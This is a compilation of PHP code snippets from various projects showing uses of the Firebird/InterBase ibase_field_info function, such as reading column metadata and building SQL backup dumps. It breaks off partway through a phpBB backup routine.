Example #1
0
 function FieldName($Index)
 {
     $FieldInfo = ibase_field_info($this->Records, $Index);
     if ($FieldInfo['alias']) {
         return $FieldInfo['alias'];
     } else {
         return $FieldInfo['name'];
     }
 }
 /**
  * Constructor
  *
  * @param   resource handle
  */
 public function __construct($result, TimeZone $tz = NULL)
 {
     $fields = array();
     if (is_resource($result)) {
         for ($i = 0, $num = ibase_num_fields($result); $i < $num; $i++) {
             $field = ibase_field_info($result, $i);
             $fields[$field['name']] = $field['type'];
         }
     }
     parent::__construct($result, $fields, $tz);
 }
Example #3
0
 function _performGetBlobFieldNames($result)
 {
     $blobFields = array();
     for ($i = ibase_num_fields($result) - 1; $i >= 0; $i--) {
         $info = ibase_field_info($result, $i);
         if ($info['type'] === "BLOB") {
             $blobFields[] = $info['name'];
         }
     }
     return $blobFields;
 }
Example #4
0
 /**
  * Field data
  *
  * Generates an array of objects containing field meta-data
  *
  * @return    array
  */
 public function field_data()
 {
     $retval = array();
     for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) {
         $info = ibase_field_info($this->result_id, $i);
         $retval[$i] = new stdClass();
         $retval[$i]->name = $info['name'];
         $retval[$i]->type = $info['type'];
         $retval[$i]->max_length = $info['length'];
     }
     return $retval;
 }
Example #5
0
function gcms_fetch_object($nresult)
{
    $result = ibase_fetch_object($nresult);
    if ($result) {
        $coln = ibase_num_fields($nresult);
        for ($i = 0; $i < $coln; $i++) {
            $col_info = ibase_field_info($nresult, $i);
            eval("\$result->" . strtolower($col_info['alias']) . " = \$result->" . $col_info['alias'] . ";");
        }
    }
    return $result;
}
 function GetFields()
 {
     $_fields = array();
     $_result = ibase_query($this->_Link, $this->SelectCommand);
     $coln = ibase_num_fields($_result);
     for ($i = 0; $i < $coln; $i++) {
         $_prop = ibase_field_info($_result, $i);
         $_field = array("Name" => $_prop["name"], "Type" => $_prop["type"], "Not_Null" => 0);
         array_push($_fields, $_field);
     }
     ibase_free_result($_result);
     return $_fields;
 }
 /**
  * Field data
  *
  * Generates an array of objects containing field meta-data
  *
  * @access	public
  * @return	array
  */
 function field_data()
 {
     $retval = array();
     for ($i = 0; $i < $this->num_fields(); $i++) {
         $col_info = ibase_field_info($this->result_id, $i);
         $F = new stdClass();
         $F->name = $col_info['name'];
         $F->type = $col_info['type'];
         $F->max_length = $col_info['length'];
         $F->primary_key = 0;
         $F->default = '';
         $retval[] = $F;
     }
     return $retval;
 }
Example #8
0
 /**
  * This function initializes the class.
  *
  * @access public
  * @override
  * @param DB_Connection_Driver $connection  the connection to be used
  * @param string $sql                       the SQL statement to be queried
  * @param integer $mode                     the execution mode to be used
  * @throws Throwable_SQL_Exception          indicates that the query failed
  */
 public function __construct(DB_Connection_Driver $connection, $sql, $mode = NULL)
 {
     $this->resource = $connection->get_resource();
     $command = @ibase_query($this->resource, $sql);
     if ($command === FALSE) {
         throw new Throwable_SQL_Exception('Message: Failed to query SQL statement. Reason: :reason', array(':reason' => @ibase_errmsg()));
     }
     $this->command = $command;
     $this->record = FALSE;
     $this->blobs = array();
     $count = (int) @ibase_num_fields($command);
     for ($i = 0; $i < $count; $i++) {
         $field = ibase_field_info($command, $i);
         if ($field['type'] == 'BLOB') {
             $this->blobs[] = $field['name'];
         }
     }
 }
 /**
  * Field data
  *
  * Generates an array of objects containing field meta-data
  *
  * @access  public
  * @return  array
  */
 function field_data()
 {
     $retval = array();
     $fieldCount = $this->num_fields();
     for ($c = 0; $c < $fieldCount; $c++) {
         $col_info = ibase_field_info($this->stmt_id, $c);
         $F = new stdClass();
         $F->name = $col_info['name'];
         $F->type = $col_info['type'];
         $F->max_length = $col_info['length'];
         $retval[] = $F;
     }
     return $retval;
 }
 /**
  * Executes a prepared statement.
  *
  * @param array $params OPTIONAL Values to bind to parameter placeholders.
  * @return bool
  * @throws ZendX_Db_Statement_Firebird_Exception
  */
 public function _execute(array $params = null)
 {
     if (!$this->_stmtPrepared) {
         return false;
     }
     // if no params were given as an argument to execute(),
     // then default to the _bindParam array
     if ($params === null) {
         $params = $this->_bindParam;
     }
     // send $params as input parameters to the statement
     if ($params) {
         array_unshift($params, $this->_stmtPrepared);
         $retval = @call_user_func_array('ibase_execute', $params);
     } else {
         // execute the statement
         $retval = @ibase_execute($this->_stmtPrepared);
     }
     $this->_stmtResult = $retval;
     if ($retval === false) {
         $last_error = ibase_errmsg();
         $this->_stmtRowCount = 0;
     }
     //Firebird php ibase extension, auto-commit is not after each call, but at
     //end of script. Disabled when transaction is active
     if (!$this->_adapter->getTransaction()) {
         ibase_commit_ret();
     }
     if ($retval === false) {
         /**
          * @see ZendX_Db_Statement_Firebird_Exception
          */
         require_once 'ZendX/Db/Statement/Firebird/Exception.php';
         throw new ZendX_Db_Statement_Firebird_Exception("Firebird statement execute error : " . $last_error);
     }
     // statements that have no result set do not return metadata
     if (is_resource($this->_stmtResult)) {
         // get the column names that will result
         $this->_keys = array();
         $coln = ibase_num_fields($this->_stmtResult);
         $this->_stmtColumnCount = $coln;
         for ($i = 0; $i < $coln; $i++) {
             $col_info = ibase_field_info($this->_stmtResult, $i);
             $this->_keys[] = $this->_adapter->foldCase($col_info['name']);
         }
         // set up a binding space for result variables
         $this->_values = array_fill(0, count($this->_keys), null);
         // set up references to the result binding space.
         // just passing $this->_values in the call_user_func_array()
         // below won't work, you need references.
         $refs = array();
         foreach ($this->_values as $i => &$f) {
             $refs[$i] =& $f;
         }
     }
     if ($trans = $this->_adapter->getTransaction()) {
         $this->_stmtRowCount = ibase_affected_rows($trans);
     } else {
         $this->_stmtRowCount = ibase_affected_rows($this->_adapter->getConnection());
     }
     return true;
 }
Example #11
0
 function write_data($table_name)
 {
     global $db;
     $ary_type = $ary_name = array();
     // Grab all of the data from current table.
     $sql = "SELECT *\n\t\t\tFROM {$table_name}";
     $result = $db->sql_query($sql);
     $i_num_fields = ibase_num_fields($result);
     for ($i = 0; $i < $i_num_fields; $i++) {
         $info = ibase_field_info($result, $i);
         $ary_type[$i] = $info['type'];
         $ary_name[$i] = $info['name'];
     }
     while ($row = $db->sql_fetchrow($result)) {
         $schema_vals = $schema_fields = array();
         // Build the SQL statement to recreate the data.
         for ($i = 0; $i < $i_num_fields; $i++) {
             $str_val = $row[strtolower($ary_name[$i])];
             if (preg_match('#char|text|bool|varbinary|blob#i', $ary_type[$i])) {
                 $str_quote = '';
                 $str_empty = "''";
                 $str_val = sanitize_data_generic(str_replace("'", "''", $str_val));
             } else {
                 if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                     if (empty($str_val)) {
                         $str_quote = '';
                     } else {
                         $str_quote = "'";
                     }
                 } else {
                     $str_quote = '';
                     $str_empty = 'NULL';
                 }
             }
             if (empty($str_val) && $str_val !== '0') {
                 $str_val = $str_empty;
             }
             $schema_vals[$i] = $str_quote . $str_val . $str_quote;
             $schema_fields[$i] = '"' . $ary_name[$i] . '"';
         }
         // Take the ordered fields and their associated data and build it
         // into a valid sql statement to recreate that field in the data.
         $sql_data = "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES (' . implode(', ', $schema_vals) . ");\n";
         $this->flush($sql_data);
     }
     $db->sql_freeresult($result);
 }
Example #12
0
    /**
    +----------------------------------------------------------
    * 取得数据表的字段信息
    +----------------------------------------------------------
    * @access public
    +----------------------------------------------------------
    * @throws ThinkExecption
    +----------------------------------------------------------
    */
    public function getFields($tableName)
    {
        $result = $this->query('SELECT RDB$FIELD_NAME AS FIELD, RDB$DEFAULT_VALUE AS DEFAULT1, RDB$NULL_FLAG AS NULL1 FROM RDB$RELATION_FIELDS WHERE RDB$RELATION_NAME=UPPER(\'' . $tableName . '\') ORDER By RDB$FIELD_POSITION');
        $info = array();
        if ($result) {
            foreach ($result as $key => $val) {
                $info[trim($val['FIELD'])] = array('name' => trim($val['FIELD']), 'type' => '', 'notnull' => (bool) ($val['NULL1'] == 1), 'default' => $val['DEFAULT1'], 'primary' => false, 'autoinc' => false);
            }
        }
        //剑雷 取表字段类型
        $sql = 'select first 1 * from ' . $tableName;
        $rs_temp = ibase_query($this->_linkID, $sql);
        $fieldCount = ibase_num_fields($rs_temp);
        for ($i = 0; $i < $fieldCount; $i++) {
            $col_info = ibase_field_info($rs_temp, $i);
            $info[trim($col_info['name'])]['type'] = $col_info['type'];
        }
        ibase_free_result($rs_temp);
        //剑雷 取表的主键
        $sql = 'select b.rdb$field_name as FIELD_NAME from rdb$relation_constraints a join rdb$index_segments b
on a.rdb$index_name=b.rdb$index_name
where a.rdb$constraint_type=\'PRIMARY KEY\' and a.rdb$relation_name=UPPER(\'' . $tableName . '\')';
        $rs_temp = ibase_query($this->_linkID, $sql);
        while ($row = ibase_fetch_object($rs_temp)) {
            $info[trim($row->FIELD_NAME)]['primary'] = True;
        }
        ibase_free_result($rs_temp);
        return $info;
    }
 /**
  * Enter description here...
  *
  * @param unknown_type $results
  */
 function resultSet(&$results)
 {
     $this->results =& $results;
     $this->map = array();
     $num_fields = ibase_num_fields($results);
     $index = 0;
     $j = 0;
     while ($j < $num_fields) {
         $column = ibase_field_info($results, $j);
         if (!empty($column[2])) {
             $this->map[$index++] = array(ucfirst(strtolower($this->modeltmp[strtolower($column[2])])), strtolower($column[1]));
         } else {
             $this->map[$index++] = array(0, strtolower($column[1]));
         }
         $j++;
     }
 }
Example #14
0
 public function columns()
 {
     if (empty($this->query)) {
         return false;
     }
     $columns = array();
     $num_fields = $this->numFields();
     $field = '';
     for ($i = 0; $i < $num_fields; $i++) {
         $field = ibase_field_info($this->query, $i);
         $column[] = $field['name'];
     }
     return $columns;
 }
Example #15
0
 function &FetchField($fieldOffset = -1)
 {
     $fld = new ADOFieldObject();
     $ibf = ibase_field_info($this->_queryID, $fieldOffset);
     switch (ADODB_ASSOC_CASE) {
         case 2:
             // the default
             $fld->name = $ibf['alias'];
             if (empty($fld->name)) {
                 $fld->name = $ibf['name'];
             }
             break;
         case 0:
             $fld->name = strtoupper($ibf['alias']);
             if (empty($fld->name)) {
                 $fld->name = strtoupper($ibf['name']);
             }
             break;
         case 1:
             $fld->name = strtolower($ibf['alias']);
             if (empty($fld->name)) {
                 $fld->name = strtolower($ibf['name']);
             }
             break;
     }
     $fld->type = $ibf['type'];
     $fld->max_length = $ibf['length'];
     /*       This needs to be populated from the metadata */
     $fld->not_null = false;
     $fld->has_default = false;
     $fld->default_value = 'null';
     return $fld;
 }
Example #16
0
 function GetColumnNames($result, &$column_names)
 {
     $result_value = intval($result);
     if (!isset($this->highest_fetched_row[$result_value])) {
         return $this->SetError("Get column names", "it was specified an inexisting result set");
     }
     if (!isset($this->columns[$result_value])) {
         $this->columns[$result_value] = array();
         $columns = ibase_num_fields($result);
         for ($column = 0; $column < $columns; $column++) {
             $column_info = ibase_field_info($result, $column);
             $this->columns[$result_value][strtolower($column_info["name"])] = $column;
         }
     }
     $column_names = $this->columns[$result_value];
     return 1;
 }
Example #17
0
 /**
  * Returns information about a table or a result set
  *
  * NOTE: doesn't support 'flags'and 'table' if called from a db_result
  *
  * @param  mixed $resource Interbase result identifier or table name
  * @param  int $mode A valid tableInfo mode (DB_TABLEINFO_ORDERTABLE or
  *                   DB_TABLEINFO_ORDER)
  *
  * @return array An array with all the information
  */
 function tableInfo($result, $mode = null)
 {
     $count = 0;
     $id = 0;
     $res = array();
     /*
      * depending on $mode, metadata returns the following values:
      *
      * - mode is false (default):
      * $result[]:
      *   [0]["table"]  table name
      *   [0]["name"]   field name
      *   [0]["type"]   field type
      *   [0]["len"]    field length
      *   [0]["flags"]  field flags
      *
      * - mode is DB_TABLEINFO_ORDER
      * $result[]:
      *   ["num_fields"] number of metadata records
      *   [0]["table"]  table name
      *   [0]["name"]   field name
      *   [0]["type"]   field type
      *   [0]["len"]    field length
      *   [0]["flags"]  field flags
      *   ["order"][field name]  index of field named "field name"
      *   The last one is used, if you have a field name, but no index.
      *   Test:  if (isset($result['meta']['myfield'])) { ...
      *
      * - mode is DB_TABLEINFO_ORDERTABLE
      *    the same as above. but additionally
      *   ["ordertable"][table name][field name] index of field
      *      named "field name"
      *
      *      this is, because if you have fields from different
      *      tables with the same field name * they override each
      *      other with DB_TABLEINFO_ORDER
      *
      *      you can combine DB_TABLEINFO_ORDER and
      *      DB_TABLEINFO_ORDERTABLE with DB_TABLEINFO_ORDER |
      *      DB_TABLEINFO_ORDERTABLE * or with DB_TABLEINFO_FULL
      */
     // if $result is a string, then we want information about a
     // table without a resultset
     if (is_string($result)) {
         $id = ibase_query($this->connection, "SELECT * FROM {$result}");
         if (empty($id)) {
             return $this->ibaseRaiseError();
         }
     } else {
         // else we want information about a resultset
         $id = $result;
         if (empty($id)) {
             return $this->ibaseRaiseError();
         }
     }
     $count = @ibase_num_fields($id);
     // made this IF due to performance (one if is faster than $count if's)
     if (empty($mode)) {
         for ($i = 0; $i < $count; $i++) {
             $info = @ibase_field_info($id, $i);
             $res[$i]['table'] = is_string($result) ? $result : '';
             $res[$i]['name'] = $info['name'];
             $res[$i]['type'] = $info['type'];
             $res[$i]['len'] = $info['length'];
             $res[$i]['flags'] = is_string($result) ? $this->_ibaseFieldFlags($info['name'], $result) : '';
         }
     } else {
         // full
         $res["num_fields"] = $count;
         for ($i = 0; $i < $count; $i++) {
             $info = @ibase_field_info($id, $i);
             $res[$i]['table'] = is_string($result) ? $result : '';
             $res[$i]['name'] = $info['name'];
             $res[$i]['type'] = $info['type'];
             $res[$i]['len'] = $info['length'];
             $res[$i]['flags'] = is_string($result) ? $this->_ibaseFieldFlags($info['name'], $result) : '';
             if ($mode & DB_TABLEINFO_ORDER) {
                 $res['order'][$res[$i]['name']] = $i;
             }
             if ($mode & DB_TABLEINFO_ORDERTABLE) {
                 $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i;
             }
         }
     }
     // free the result only if we were called on a table
     if (is_string($result)) {
         ibase_free_result($id);
     }
     return $res;
 }
Example #18
0
    function main($id, $mode)
    {
        global $db, $user, $auth, $template, $table_prefix;
        global $config, $phpbb_root_path, $phpbb_admin_path, $phpEx;
        $user->add_lang('acp/database');
        $this->tpl_name = 'acp_database';
        $this->page_title = 'ACP_DATABASE';
        $action = request_var('action', '');
        $submit = isset($_POST['submit']) ? true : false;
        $template->assign_vars(array('MODE' => $mode));
        switch ($mode) {
            case 'backup':
                switch ($action) {
                    case 'download':
                        $type = request_var('type', '');
                        $table = request_var('table', array(''));
                        $format = request_var('method', '');
                        $where = request_var('where', '');
                        $store = $download = $structure = $schema_data = false;
                        if ($where == 'store_and_download' || $where == 'store') {
                            $store = true;
                        }
                        if ($where == 'store_and_download' || $where == 'download') {
                            $download = true;
                        }
                        if ($type == 'full' || $type == 'structure') {
                            $structure = true;
                        }
                        if ($type == 'full' || $type == 'data') {
                            $schema_data = true;
                        }
                        @set_time_limit(1200);
                        $filename = time();
                        // We set up the info needed for our on-the-fly creation :D
                        switch ($format) {
                            case 'text':
                                $ext = '.sql';
                                $open = 'fopen';
                                $write = 'fwrite';
                                $close = 'fclose';
                                $oper = '';
                                $mimetype = 'text/x-sql';
                                break;
                            case 'bzip2':
                                $ext = '.sql.bz2';
                                $open = 'bzopen';
                                $write = 'bzwrite';
                                $close = 'bzclose';
                                $oper = 'bzcompress';
                                $mimetype = 'application/x-bzip2';
                                break;
                            case 'gzip':
                                $ext = '.sql.gz';
                                $open = 'gzopen';
                                $write = 'gzwrite';
                                $close = 'gzclose';
                                $oper = 'gzencode';
                                $mimetype = 'application/x-gzip';
                                break;
                        }
                        // We write the file to "store" first (and then compress the file) to not use too much
                        // memory. The server process can be easily killed by storing too much data at once.
                        if ($store == true) {
                            $file = $phpbb_root_path . 'store/' . $filename . $ext;
                            $fp = $open($file, 'w');
                            if (!$fp) {
                                trigger_error('Unable to write temporary file to storage folder');
                            }
                        }
                        if ($download == true) {
                            $name = $filename . $ext;
                            header('Pragma: no-cache');
                            header("Content-Type: {$mimetype}; name=\"{$name}\"");
                            header("Content-disposition: attachment; filename={$name}");
                        }
                        // All of the generated queries go here
                        $sql_data = '';
                        $sql_data .= "#\n";
                        $sql_data .= "# phpBB Backup Script\n";
                        $sql_data .= "# Dump of tables for {$table_prefix}\n";
                        $sql_data .= "# DATE : " . gmdate("d-m-Y H:i:s", $filename) . " GMT\n";
                        $sql_data .= "#\n";
                        switch (SQL_LAYER) {
                            case 'sqlite':
                                $sql_data .= "BEGIN TRANSACTION;\n";
                                break;
                            case 'postgres':
                                $sql_data .= "BEGIN;\n";
                                break;
                            case 'mssql':
                            case 'mssql_odbc':
                                $sql_data .= "BEGIN TRANSACTION\nGO\n";
                                break;
                        }
                        foreach ($table as $table_name) {
                            // Get the table structure
                            if ($structure) {
                                switch (SQL_LAYER) {
                                    case 'mysqli':
                                    case 'mysql4':
                                    case 'mysql':
                                    case 'sqlite':
                                        $sql_data .= '# Table: ' . $table_name . "\n";
                                        $sql_data .= "DROP TABLE IF EXISTS {$table_name};\n";
                                        break;
                                    case 'oracle':
                                        $sql_data .= '# Table: ' . $table_name . "\n";
                                        $sql_data .= "DROP TABLE {$table_name};\n\\\n";
                                        break;
                                    case 'postgres':
                                    case 'firebird':
                                        $sql_data .= '# Table: ' . $table_name . "\n";
                                        $sql_data .= "DROP TABLE {$table_name};\n";
                                        break;
                                    case 'mssql':
                                    case 'mssql_odbc':
                                        $sql_data .= '# Table: ' . $table_name . "\n";
                                        $sql_data .= "IF OBJECT_ID(N'{$table_name}', N'U') IS NOT NULL\n";
                                        $sql_data .= "DROP TABLE {$table_name};\nGO\n";
                                        break;
                                }
                                $sql_data .= $this->get_table_structure($table_name);
                            }
                            // Now write the data for the first time. :)
                            if ($store == true) {
                                $write($fp, $sql_data);
                            }
                            if ($download == true) {
                                if (!empty($oper)) {
                                    echo $oper($sql_data);
                                } else {
                                    echo $sql_data;
                                }
                            }
                            $sql_data = '';
                            // Data
                            if ($schema_data) {
                                $sql_data .= "\n";
                                switch (SQL_LAYER) {
                                    case 'mysqli':
                                        $sql = "SELECT * FROM {$table_name}";
                                        $result = mysqli_query($db->db_connect_id, $sql, MYSQLI_USE_RESULT);
                                        if ($result != false) {
                                            $fields_cnt = mysqli_num_fields($result);
                                            // Get field information
                                            $field = mysqli_fetch_fields($result);
                                            $field_set = array();
                                            for ($j = 0; $j < $fields_cnt; $j++) {
                                                $field_set[$j] = $field[$j]->name;
                                            }
                                            $search = array('\\', "'", "", "\n", "\r", "");
                                            $replace = array('\\\\\\\\', "''", '\\0', '\\n', '\\r', '\\Z');
                                            $fields = implode(', ', $field_set);
                                            $values = array();
                                            $schema_insert = 'INSERT INTO ' . $table_name . ' (' . $fields . ') VALUES (';
                                            while ($row = mysqli_fetch_row($result)) {
                                                for ($j = 0; $j < $fields_cnt; $j++) {
                                                    if (!isset($row[$j]) || is_null($row[$j])) {
                                                        $values[$j] = 'NULL';
                                                    } else {
                                                        if ($field[$j]->flags & 32768 && !($field[$j]->flags & 1024)) {
                                                            $values[$j] = $row[$j];
                                                        } else {
                                                            $values[$j] = "'" . str_replace($search, $replace, $row[$j]) . "'";
                                                        }
                                                    }
                                                }
                                                $sql_data .= $schema_insert . implode(', ', $values) . ");\n";
                                                if ($store == true) {
                                                    $write($fp, $sql_data);
                                                }
                                                if ($download == true) {
                                                    if (!empty($oper)) {
                                                        echo $oper($sql_data);
                                                    } else {
                                                        echo $sql_data;
                                                    }
                                                }
                                                $sql_data = '';
                                                $values = array();
                                            }
                                            mysqli_free_result($result);
                                        }
                                        break;
                                    case 'mysql4':
                                    case 'mysql':
                                        $sql = "SELECT * FROM {$table_name}";
                                        $result = mysql_unbuffered_query($sql, $db->db_connect_id);
                                        if ($result != false) {
                                            $fields_cnt = mysql_num_fields($result);
                                            // Get field information
                                            $field = array();
                                            for ($i = 0; $i < $fields_cnt; $i++) {
                                                $field[$i] = mysql_fetch_field($result, $i);
                                            }
                                            $field_set = array();
                                            for ($j = 0; $j < $fields_cnt; $j++) {
                                                $field_set[$j] = $field[$j]->name;
                                            }
                                            $search = array('\\', "'", "", "\n", "\r", "");
                                            $replace = array('\\\\\\\\', "''", '\\0', '\\n', '\\r', '\\Z');
                                            $fields = implode(', ', $field_set);
                                            $schema_insert = 'INSERT INTO ' . $table_name . ' (' . $fields . ') VALUES (';
                                            while ($row = mysql_fetch_row($result)) {
                                                $values = array();
                                                for ($j = 0; $j < $fields_cnt; $j++) {
                                                    if (!isset($row[$j]) || is_null($row[$j])) {
                                                        $values[$j] = 'NULL';
                                                    } else {
                                                        if ($field[$j]->numeric && $field[$j]->type !== 'timestamp') {
                                                            $values[$j] = $row[$j];
                                                        } else {
                                                            $values[$j] = "'" . str_replace($search, $replace, $row[$j]) . "'";
                                                        }
                                                    }
                                                }
                                                $sql_data .= $schema_insert . implode(', ', $values) . ");\n";
                                                if ($store == true) {
                                                    $write($fp, $sql_data);
                                                }
                                                if ($download == true) {
                                                    if (!empty($oper)) {
                                                        echo $oper($sql_data);
                                                    } else {
                                                        echo $sql_data;
                                                    }
                                                }
                                                $sql_data = '';
                                            }
                                            mysql_free_result($result);
                                        }
                                        break;
                                    case 'sqlite':
                                        $col_types = sqlite_fetch_column_types($table_name, $db->db_connect_id);
                                        $sql = "SELECT * FROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $names = $data = array();
                                            foreach ($row as $row_name => $row_data) {
                                                $names[] = $row_name;
                                                // Figure out what this data is, escape it properly
                                                if (is_null($row_data)) {
                                                    $row_data = 'NULL';
                                                } else {
                                                    if ($row_data == '') {
                                                        $row_data = "''";
                                                    } else {
                                                        if (strpos($col_types[$row_name], 'text') !== false || strpos($col_types[$row_name], 'char') !== false) {
                                                            $row_data = "'" . $row_data . "'";
                                                        }
                                                    }
                                                }
                                                $data[] = $row_data;
                                            }
                                            $sql_data .= 'INSERT INTO ' . $table_name . ' (' . implode(', ', $names) . ') VALUES (' . implode(', ', $data) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        break;
                                    case 'postgres':
                                        $ary_type = $ary_name = array();
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $i_num_fields = pg_num_fields($result);
                                        $seq = '';
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $ary_type[$i] = pg_field_type($result, $i);
                                            $ary_name[$i] = pg_field_name($result, $i);
                                            $sql = "SELECT pg_get_expr(d.adbin, d.adrelid) as rowdefault\n\t\t\t\t\t\t\t\t\t\t\t\tFROM pg_attrdef d, pg_class c\n\t\t\t\t\t\t\t\t\t\t\t\tWHERE (c.relname = '{$table_name}')\n\t\t\t\t\t\t\t\t\t\t\t\t\tAND (c.oid = d.adrelid)\n\t\t\t\t\t\t\t\t\t\t\t\t\tAND d.adnum = " . strval($i + 1);
                                            $result2 = $db->sql_query($sql);
                                            if ($row = $db->sql_fetchrow($result2)) {
                                                // Determine if we must reset the sequences
                                                if (strpos($row['rowdefault'], 'nextval(\'') === 0) {
                                                    $seq .= "SELECT SETVAL('{$table_name}_seq',(select case when max({$ary_name[$i]})>0 then max({$ary_name[$i]})+1 else 1 end from {$table_name}));\n";
                                                }
                                            }
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[$ary_name[$i]];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0') {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = $ary_name[$i];
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        // Write out the sequence statements
                                        if ($store == true) {
                                            $write($fp, $seq);
                                        }
                                        if ($download == true) {
                                            if (!empty($oper)) {
                                                echo $oper($seq);
                                            } else {
                                                echo $seq;
                                            }
                                        }
                                        $seq = '';
                                        break;
                                    case 'mssql_odbc':
                                        $ary_type = $ary_name = array();
                                        $ident_set = false;
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $retrieved_data = odbc_num_rows($result);
                                        if ($retrieved_data) {
                                            $sql = "SELECT 1 as has_identity\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.COLUMNS\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE COLUMNPROPERTY(object_id('{$table_name}'), COLUMN_NAME, 'IsIdentity') = 1";
                                            $result2 = $db->sql_query($sql);
                                            $row2 = $db->sql_fetchrow($result2);
                                            if (!empty($row2['has_identity'])) {
                                                $sql_data .= "\nSET IDENTITY_INSERT {$table_name} ON\nGO\n";
                                                $ident_set = true;
                                            }
                                            $db->sql_freeresult($result2);
                                        }
                                        $i_num_fields = odbc_num_fields($result);
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $ary_type[$i] = odbc_field_type($result, $i);
                                            $ary_name[$i] = odbc_field_name($result, $i);
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[$ary_name[$i]];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0' && !(is_int($str_val) || is_float($str_val))) {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = $ary_name[$i];
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        if ($retrieved_data) {
                                            $sql_data = "\nGO\n";
                                            if ($ident_set) {
                                                $sql_data .= "\nSET IDENTITY_INSERT {$table_name} OFF\nGO\n";
                                            }
                                        }
                                        break;
                                    case 'mssql':
                                        $ary_type = $ary_name = array();
                                        $ident_set = false;
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $retrieved_data = mssql_num_rows($result);
                                        $i_num_fields = mssql_num_fields($result);
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $ary_type[$i] = mssql_field_type($result, $i);
                                            $ary_name[$i] = mssql_field_name($result, $i);
                                        }
                                        if ($retrieved_data) {
                                            $sql = "SELECT 1 as has_identity\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.COLUMNS\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE COLUMNPROPERTY(object_id('{$table_name}'), COLUMN_NAME, 'IsIdentity') = 1";
                                            $result2 = $db->sql_query($sql);
                                            $row2 = $db->sql_fetchrow($result2);
                                            if (!empty($row2['has_identity'])) {
                                                $sql_data .= "\nSET IDENTITY_INSERT {$table_name} ON\nGO\n";
                                                $ident_set = true;
                                            }
                                            $db->sql_freeresult($result2);
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[$ary_name[$i]];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
